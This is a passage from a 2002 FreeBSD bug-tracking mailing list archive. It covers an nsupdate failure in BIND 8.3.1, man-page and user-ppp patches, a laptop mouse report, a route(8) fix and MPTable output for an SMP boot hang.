QUERY SECTION: :: ;; dyn.sub.org, type = NS, class = IN :: :: ;; ANSWER SECTION: :: dyn.sub.org. 23h10m34s IN NS goldie.jpaves.de. :: :: ;; ADDITIONAL SECTION: :: goldie.jpaves.de. 14h52m51s IN A 212.86.210.58 :: :: ;; res_send() :: ;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id: 43948 :: ;; flags:; ZONE: 1, PREREQUISITE: 0, UPDATE: 2, ADDITIONAL: 1 :: ;; dyn.sub.org, type = SOA, class = IN :: lyxys.dyn.sub.org. 0S ANY A :: lyxys.dyn.sub.org. 2m30s IN A 217.227.147.166 :: dynsub. 0S ANY TSIG HMAC-MD5.SIG-ALG.REG.INT. 0 :: ;; Querying server (# 1) address = 212.86.210.58 :: ;; new DG socket :: ;; got answer: :: ;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id: 43948 :: ;; flags: qr ra; ZONE: 0, PREREQUISITE: 0, UPDATE: 0, ADDITIONAL: 1 :: dynsub. 0S ANY TSIG HMAC-MD5.SIG-ALG.REG.INT. 0 :: Non-Working version (from 4.5-STABLE, based on BIND 8.3.1): ----------------------------------------------------------- This is the last part of the output of a non-working update. As you can see, this time the update request is beeing sent to my own nameserver, which has nothing to do with the zone being updated. Therefore it sends back "NOTAUTH". :: ;; res_nmkquery(QUERY, dyn.sub.org, IN, NS) :: ;; res_send() :: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42326 :: ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 :: ;; QUERY SECTION: :: ;; dyn.sub.org, type = NS, class = IN :: :: ;; Querying server (# 1) address = 192.168.203.254 :: ;; new DG socket :: ;; got answer: :: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42326 :: ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 :: ;; QUERY SECTION: :: ;; dyn.sub.org, type = NS, class = IN :: :: ;; ANSWER SECTION: :: dyn.sub.org. 23h10m4s IN NS goldie.jpaves.de. :: :: ;; ADDITIONAL SECTION: :: goldie.jpaves.de. 14h52m21s IN A 212.86.210.58 :: :: ;; res_send() :: ;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id: 42327 :: ;; flags:; ZONE: 1, PREREQUISITE: 0, UPDATE: 2, ADDITIONAL: 1 :: ;; dyn.sub.org, type = SOA, class = IN :: lyxys.dyn.sub.org. 0S ANY A :: lyxys.dyn.sub.org. 2m30s IN A 217.227.147.166 :: dynsub. 0S ANY TSIG HMAC-MD5.SIG-ALG.REG.INT. 0 :: ;; Querying server (# 1) address = 192.168.203.254 :: ;; new DG socket :: ;; got answer: :: ;; ->>HEADER<<- opcode: UPDATE, status: NOTAUTH, id: 42327 :: ;; flags: qr ra; ZONE: 1, PREREQUISITE: 0, UPDATE: 0, ADDITIONAL: 1 :: ;; dyn.sub.org, type = SOA, class = IN :: . 0S ANY TSIG . 17 >How-To-Repeat: Send update request for a zone where your own nameserver (the one in your resolv.conf) is not authoritative. >Fix: As a workaround I am currently using an old nsupdate binary. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 15:12:43 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 62D8A37B416; Sun, 3 Mar 2002 15:12:42 -0800 (PST) Received: (from silby@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g23N5Gv74081; Sun, 3 Mar 2002 15:05:16 -0800 (PST) (envelope-from silby) Date: Sun, 3 Mar 2002 15:05:16 -0800 (PST) From: Message-Id: <200203032305.g23N5Gv74081@freefall.freebsd.org> To: K.J.Bosschaart@wtb.tue.nl, silby@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/29295: use of mmap in cp(1) can cause a panic when reading from CD Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: use of mmap in cp(1) can cause a panic when reading from CD State-Changed-From-To: feedback->closed State-Changed-By: silby State-Changed-When: Sun Mar 3 15:04:19 PST 2002 State-Changed-Why: Problem submitter reports that this bug was successfully in 4.5. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=29295 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 16: 0:11 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 3B07B37B404 for ; Sun, 3 Mar 2002 16:00:09 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24009i83309; Sun, 3 Mar 2002 16:00:09 -0800 (PST) (envelope-from gnats) Date: Sun, 3 Mar 2002 16:00:09 -0800 (PST) Message-Id: <200203040000.g24009i83309@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Makoto Matsushita Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Reply-To: Makoto Matsushita Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35521; it has been noted by GNATS. From: Makoto Matsushita To: Wolfgang Zenker Cc: bug-followup@FreeBSD.org Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Date: Mon, 04 Mar 2002 08:59:47 +0900 > State-Changed-From-To: open->analyzed > State-Changed-By: matusita > State-Changed-When: Sun Mar 3 15:53:54 PST 2002 > State-Changed-Why: Gaaaaaaah, null comments, sorry. What I should say is: This is a (known) nsupdate bug of BIND 8.3.1. Already fixed in ISC's code. This bug can be fixed if and only if BIND 8.3.2 (the next release of BIND 8.3) is out. This PR can be closed if we import a new BIND code. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 16: 2:44 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id B49C437B419; Sun, 3 Mar 2002 16:02:41 -0800 (PST) Received: (from matusita@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g23Nsbl82813; Sun, 3 Mar 2002 15:54:37 -0800 (PST) (envelope-from matusita) Date: Sun, 3 Mar 2002 15:54:37 -0800 (PST) From: Message-Id: <200203032354.g23Nsbl82813@freefall.freebsd.org> To: wolfgang@lyxys.ka.sub.org, matusita@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: nsupdate fails if destination dns is not in your resolv.conf State-Changed-From-To: open->analyzed State-Changed-By: matusita State-Changed-When: Sun Mar 3 15:53:54 PST 2002 State-Changed-Why: http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35521 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 18:40: 7 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 922F737B417 for ; Sun, 3 Mar 2002 18:40:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g242e1Y24391; Sun, 3 Mar 2002 18:40:01 -0800 (PST) (envelope-from gnats) Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id 07E3637B405; Sun, 3 Mar 2002 18:37:31 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id ACAE52B696; Mon, 4 Mar 2002 03:37:26 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id 55130302; Mon, 4 Mar 2002 13:37:17 +1100 (EST) Message-Id: <20020304023717.55130302@k7.mavetju.org> Date: Mon, 4 Mar 2002 13:37:17 +1100 (EST) From: Edwin Groothuis Reply-To: Edwin Groothuis To: FreeBSD-gnats-submit@freebsd.org Cc: sos@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35524: [patch] update man-page of burncd(8) to tell about the use of mkisofs before burning a cd. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35524 >Category: bin >Synopsis: [patch] update man-page of burncd(8) to tell about the use of mkisofs before burning a cd. >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sun Mar 03 18:40:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Edwin Groothuis >Release: FreeBSD 4.5-RELEASE i386 >Organization: - >Environment: System: FreeBSD k7.mavetju.org 4.5-RELEASE FreeBSD 4.5-RELEASE #1: Thu Feb 28 14:56:20 EST 2002 edwin@k7.mavetju.org:/usr/src/sys/compile/k7 i386 >Description: More and more questions in the freebsd-questions mailinglist are about people having problems to mount a self-created cd-rom. This is because they don't know about the fact that burncd(8) is used to burn cd images and not plain files. >How-To-Repeat: >Fix: This patch of the man-page of burncd(8) add these lines: NOTES If you are creating a CD which has to be mountable, please note that you first have to make a CD image with mkisofs(8). Mkisofs(8) is available from the FreeBSD ports-collection. Please see the section in the man- page of mkisofs(8) on how to create these. --- burncd.8.old Mon Mar 4 13:23:09 2002 +++ burncd.8 Mon Mar 4 13:36:15 2002 @@ -145,6 +145,12 @@ .Bd -literal # gunzip -c file.iso.gz | burncd -f /dev/acd0c data - fixate .Ed +.Sh NOTES +If you are creating a CD which has to be mountable, please note that you +first have to make a CD image with mkisofs(8). Mkisofs(8) is available +from the FreeBSD ports-collection. Please see the +.B EXAMPLES +section in the man-page of mkisofs(8) on how to create these. .Sh BUGS Probably, please report when found. .Sh HISTORY >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Mar 3 20:20: 7 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0811237B404 for ; Sun, 3 Mar 2002 20:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g244K1q43697; Sun, 3 Mar 2002 20:20:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id E8A2337B400 for ; Sun, 3 Mar 2002 20:10:31 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g244AVB42459; Sun, 3 Mar 2002 20:10:31 -0800 (PST) (envelope-from nobody) Message-Id: <200203040410.g244AVB42459@freefall.freebsd.org> Date: Sun, 3 Mar 2002 20:10:31 -0800 (PST) From: Miguel Gonzalez To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: i386/35526: No mouse recognized in Compaq Presario laptop Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35526 >Category: i386 >Synopsis: No mouse recognized in Compaq Presario laptop >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Mar 03 20:20:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: Miguel Gonzalez >Release: 4.0 >Organization: >Environment: >Description: My Compaq Presario 1230 has both a MousePad and a PS/2 mouse port. I have been unable to make neither the MousePad nor a MS Intellipoint work. They doesn't work neither for the kernel nor X11. >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 1:30:28 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 3530F37B420 for ; Mon, 4 Mar 2002 01:30:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g249U1108411; Mon, 4 Mar 2002 01:30:01 -0800 (PST) (envelope-from gnats) Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by hub.freebsd.org (Postfix) with ESMTP id 52EE937B402 for ; Mon, 4 Mar 2002 01:23:48 -0800 (PST) Received: from fwd09.sul.t-online.de by mailout06.sul.t-online.com with smtp id 16hoh9-0006xP-05; Mon, 04 Mar 2002 10:23:47 +0100 Received: from pc5.abc (520067998749-0001@[217.233.109.197]) by fmrl09.sul.t-online.com with esmtp id 16hogt-1La2euC; Mon, 4 Mar 2002 10:23:31 +0100 Received: (from nicolas@localhost) by pc5.abc (8.11.6/8.11.6) id g249NUY84458; Mon, 4 Mar 2002 10:23:30 +0100 (CET) (envelope-from nicolas) Message-Id: <200203040923.g249NUY84458@pc5.abc> Date: Mon, 4 Mar 2002 10:23:30 +0100 (CET) From: Nicolas Rachinsky Reply-To: Nicolas Rachinsky To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35531: user-ppp handles long line names inconsistently Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35531 >Category: bin >Synopsis: user-ppp handles long line names inconsistently >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Mar 04 01:30:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Nicolas Rachinsky >Release: FreeBSD 4.5-RELEASE-p1 i386 >Organization: >Environment: System: FreeBSD pc5.abc 4.5-RELEASE-p1 FreeBSD 4.5-RELEASE-p1 #1: Sat Mar 2 07:40:42 CET 2002 nicolas@pc5.abc:/usr/obj/usr/src/sys/NR i386 >Description: user-ppp handles the line name (ttyS1 or i4brbch0) differently on login and logout. In /usr/src/usr.sbin/ppp/id.c ID0logout replaces unnecessarily the last byte of the string with an nullbyte. If the name of your Line is UT_LINESIZE bytes long (e.g. i4brbch0) ppp creates an utmp and wtmp entry on login, but doesn't remove (or add an closing entry) on logout. >How-To-Repeat: Log in via ISDN from i4brbch0 >Fix: --- id.c 19 Aug 2000 09:30:03 -0000 1.18.2.1 +++ id.c 4 Mar 2002 09:13:41 -0000 @@ -221,8 +221,7 @@ { struct utmp ut; - strncpy(ut.ut_line, device, sizeof ut.ut_line - 1); - ut.ut_line[sizeof ut.ut_line - 1] = '\0'; + strncpy(ut.ut_line, device, sizeof ut.ut_line); ID0set0(); if (nologout || logout(ut.ut_line)) { >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 2:20: 6 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id BB9FC37B402 for ; Mon, 4 Mar 2002 02:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24AK1n19887; Mon, 4 Mar 2002 02:20:01 -0800 (PST) (envelope-from gnats) Date: Mon, 4 Mar 2002 02:20:01 -0800 (PST) Message-Id: <200203041020.g24AK1n19887@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Peter Pentchev Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Reply-To: Peter Pentchev Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35521; it has been noted by GNATS. From: Peter Pentchev To: Makoto Matsushita Cc: bug-followup@FreeBSD.org Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Date: Mon, 4 Mar 2002 12:12:12 +0200 On Sun, Mar 03, 2002 at 04:00:09PM -0800, Makoto Matsushita wrote: > The following reply was made to PR bin/35521; it has been noted by GNATS. > > From: Makoto Matsushita > To: Wolfgang Zenker > Cc: bug-followup@FreeBSD.org > Subject: Re: bin/35521: nsupdate fails if destination dns is not in your > resolv.conf > Date: Mon, 04 Mar 2002 08:59:47 +0900 > > > State-Changed-From-To: open->analyzed > > State-Changed-By: matusita > > State-Changed-When: Sun Mar 3 15:53:54 PST 2002 > > State-Changed-Why: > > Gaaaaaaah, null comments, sorry. What I should say is: > > This is a (known) nsupdate bug of BIND 8.3.1. Already fixed > in ISC's code. This bug can be fixed if and only if BIND > 8.3.2 (the next release of BIND 8.3) is out. > > This PR can be closed if we import a new BIND code. Mmm.. I may be dumb here, but if this bug is already fixed in ISC's code, and we get their assurance that the fix and the lines around the fix would not change much before 8.3.2 is out, could we not import this fix on a vendor branch? This has certainly been done before for other contrib software.. G'luck, Peter -- Peter Pentchev roam@ringlet.net roam@FreeBSD.org PGP key: http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint FDBA FD79 C26F 3C51 C95E DF9E ED18 B68D 1619 4553 This sentence is false. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 2:24:19 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id 8437937B400 for ; Mon, 4 Mar 2002 02:24:16 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id 75A302B6D2 for ; Mon, 4 Mar 2002 11:24:12 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id C26A7277; Mon, 4 Mar 2002 21:24:03 +1100 (EST) Date: Mon, 4 Mar 2002 14:00:59 +1100 From: Edwin Groothuis To: freebsd-gnats@freebsd.org Subject: Re: bin/35017: /sbin/route: weird behaviour with using the -interface flag Message-ID: <20020304140059.A43453@k7.mavetju.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hajimu UMEMOTO has supplied patches to -CURRENT and will do a MFC the coming week. Kuddos to him and JINMEI Tatuya for their support in this. PR can be closed. Edwin -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 2:30:10 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id B6BFE37B405 for ; Mon, 4 Mar 2002 02:30:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24AU2x21568; Mon, 4 Mar 2002 02:30:02 -0800 (PST) (envelope-from gnats) Date: Mon, 4 Mar 2002 02:30:02 -0800 (PST) Message-Id: <200203041030.g24AU2x21568@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Makoto Matsushita Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Reply-To: Makoto Matsushita Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35521; it has been noted by GNATS. From: Makoto Matsushita To: roam@ringlet.net Cc: bug-followup@FreeBSD.org Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Date: Mon, 04 Mar 2002 19:29:26 +0900 roam> Mmm.. I may be dumb here, but if this bug is already fixed in roam> ISC's code, and we get their assurance that the fix and the roam> lines around the fix would not change much before 8.3.2 is out, roam> could we not import this fix on a vendor branch? No. The author said that "please do NOT". It is not a good idea to spoil the author's intension. -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 3:10: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0803B37B404 for ; Mon, 4 Mar 2002 03:10:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24BA3R32109; Mon, 4 Mar 2002 03:10:03 -0800 (PST) (envelope-from gnats) Date: Mon, 4 Mar 2002 03:10:03 -0800 (PST) Message-Id: <200203041110.g24BA3R32109@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Peter Pentchev Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Reply-To: Peter Pentchev Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35521; it has been noted by GNATS. From: Peter Pentchev To: Makoto Matsushita Cc: bug-followup@FreeBSD.org Subject: Re: bin/35521: nsupdate fails if destination dns is not in your resolv.conf Date: Mon, 4 Mar 2002 13:09:45 +0200 On Mon, Mar 04, 2002 at 07:29:26PM +0900, Makoto Matsushita wrote: > > roam> Mmm.. I may be dumb here, but if this bug is already fixed in > roam> ISC's code, and we get their assurance that the fix and the > roam> lines around the fix would not change much before 8.3.2 is out, > roam> could we not import this fix on a vendor branch? > > No. The author said that "please do NOT". It is not a good idea to > spoil the author's intension. Oh; okay, I did not know this. Thanks for the explanation :) G'luck, Peter (who is not using BIND anyway ;) -- Peter Pentchev roam@ringlet.net roam@FreeBSD.org PGP key: http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint FDBA FD79 C26F 3C51 C95E DF9E ED18 B68D 1619 4553 I am not the subject of this sentence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 4:30: 5 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1A13F37B405; Mon, 4 Mar 2002 04:29:52 -0800 (PST) Received: (from dwmalone@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24CND153150; Mon, 4 Mar 2002 04:23:13 -0800 (PST) (envelope-from dwmalone) Date: Mon, 4 Mar 2002 04:23:13 -0800 (PST) From: Message-Id: <200203041223.g24CND153150@freefall.freebsd.org> To: edwin@mavetju.org, dwmalone@FreeBSD.org, freebsd-bugs@FreeBSD.org, ume@FreeBSD.org Subject: Re: bin/35017: /sbin/route: weird behaviour with using the -interface flag Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: /sbin/route: weird behaviour with using the -interface flag State-Changed-From-To: open->closed State-Changed-By: dwmalone State-Changed-When: Mon Mar 4 04:21:03 PST 2002 State-Changed-Why: Closed at submitters request as problem is fixed. Responsible-Changed-From-To: freebsd-bugs->ume Responsible-Changed-By: dwmalone Responsible-Changed-When: Mon Mar 4 04:21:03 PST 2002 Responsible-Changed-Why: ume did the patching and is planning to MFC. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35017 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 4:30:20 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 06FD937B422 for ; Mon, 4 Mar 2002 04:30:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24CU1p54210; Mon, 4 Mar 2002 04:30:01 -0800 (PST) (envelope-from gnats) Date: Mon, 4 Mar 2002 04:30:01 -0800 (PST) Message-Id: <200203041230.g24CU1p54210@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Oliver Blasnik" Subject: Re: kern/35425: System hang while boot on specific SMP motherboard Reply-To: "Oliver Blasnik" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35425; it has been noted by GNATS. From: "Oliver Blasnik" To: , "Oliver Blasnik" Cc: Subject: Re: kern/35425: System hang while boot on specific SMP motherboard Date: Mon, 4 Mar 2002 13:20:24 +0100 Hm. I forgot to add the MPTable output... Ups... ;) =============================================================================== MPTable, version 2.0.15 ------------------------------------------------------------------------------- MP Floating Pointer Structure: location: BIOS physical address: 0x000f7ac0 signature: '_MP_' length: 16 bytes version: 1.4 checksum: 0x0b mode: Virtual Wire ------------------------------------------------------------------------------- MP Config Table Header: physical address: 0x0009fc90 signature: 'PCMP' base table length: 308 version: 1.4 checksum: 0xdd OEM ID: 'Gateway' Product ID: '7450R ' OEM table pointer: 0x00000000 OEM table size: 0 entry count: 30 local APIC address: 0xfee00000 extended table length: 140 extended table checksum: 103 ------------------------------------------------------------------------------- MP Config Base Table Entries: -- Processors: APIC ID Version State Family Model Step Flags 1 0x11 BSP, usable 6 8 10 0x383fbff 0 0x11 AP, usable 6 8 10 0x383fbff -- Bus: Bus ID Type 0 PCI 1 PCI 2 ISA -- I/O APICs: APIC ID Version State Address 2 0x11 usable 0xfec00000 3 0x11 usable 0xfec01000 -- I/O Ints: Type Polarity Trigger Bus ID IRQ APIC ID PIN# INT active-hi edge 2 0 2 0 INT active-hi edge 2 1 2 1 INT active-hi edge 2 2 2 2 INT active-hi edge 2 3 2 3 INT active-hi edge 2 4 2 4 INT active-lo level 2 5 2 5 INT active-hi edge 2 6 2 6 INT active-lo level 2 7 2 7 INT active-hi edge 2 8 2 8 INT active-lo level 2 9 2 9 INT active-lo level 2 10 2 10 INT active-lo level 2 11 2 11 INT active-hi edge 2 12 2 12 INT active-hi edge 2 13 2 13 INT active-hi edge 2 14 2 14 INT active-hi edge 2 15 2 15 INT active-lo level 0 7:A 3 4 INT active-lo level 0 9:A 3 5 INT active-lo level 0 11:A 3 8 INT active-lo level 0 12:A 3 9 INT active-lo level 0 15:A 2 9 -- Local Ints: Type Polarity Trigger Bus ID IRQ APIC ID PIN# ExtINT active-hi edge 2 0 255 0 NMI active-hi edge 0 0:A 255 1 ------------------------------------------------------------------------------- MP Config Extended Table Entries: -- System Address Space bus ID: 0 address type: I/O address address base: 0x0 address range: 0x10000 -- System Address Space bus ID: 0 address type: memory address address base: 0x10000000 address range: 0xeee00000 -- System Address Space bus ID: 0 address type: memory address address base: 0xfee01000 address range: 0x11ff000 -- System Address Space bus ID: 0 address type: memory address address base: 0xa0000 address range: 0x20000 -- System Address Space bus ID: 0 address type: memory address address base: 0xd0000 address range: 0x10000 -- Bus Heirarchy bus ID: 2 bus info: 0x01 parent bus ID: 0 -- Compatibility Bus Address bus ID: 0 address modifier: add predefined range: 0x00000000 -- Compatibility Bus Address bus ID: 0 address modifier: add predefined range: 0x00000001 -- Compatibility Bus Address bus ID: 1 address modifier: subtract predefined range: 0x00000000 -- Compatibility Bus Address bus ID: 1 address modifier: subtract predefined range: 0x00000001 =============================================================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 6:24: 5 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 48B6B37B402 for ; Mon, 4 Mar 2002 06:24:01 -0800 (PST) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id BAA06831; Tue, 5 Mar 2002 01:23:32 +1100 Date: Tue, 5 Mar 2002 01:24:19 +1100 (EST) From: Bruce Evans X-X-Sender: To: 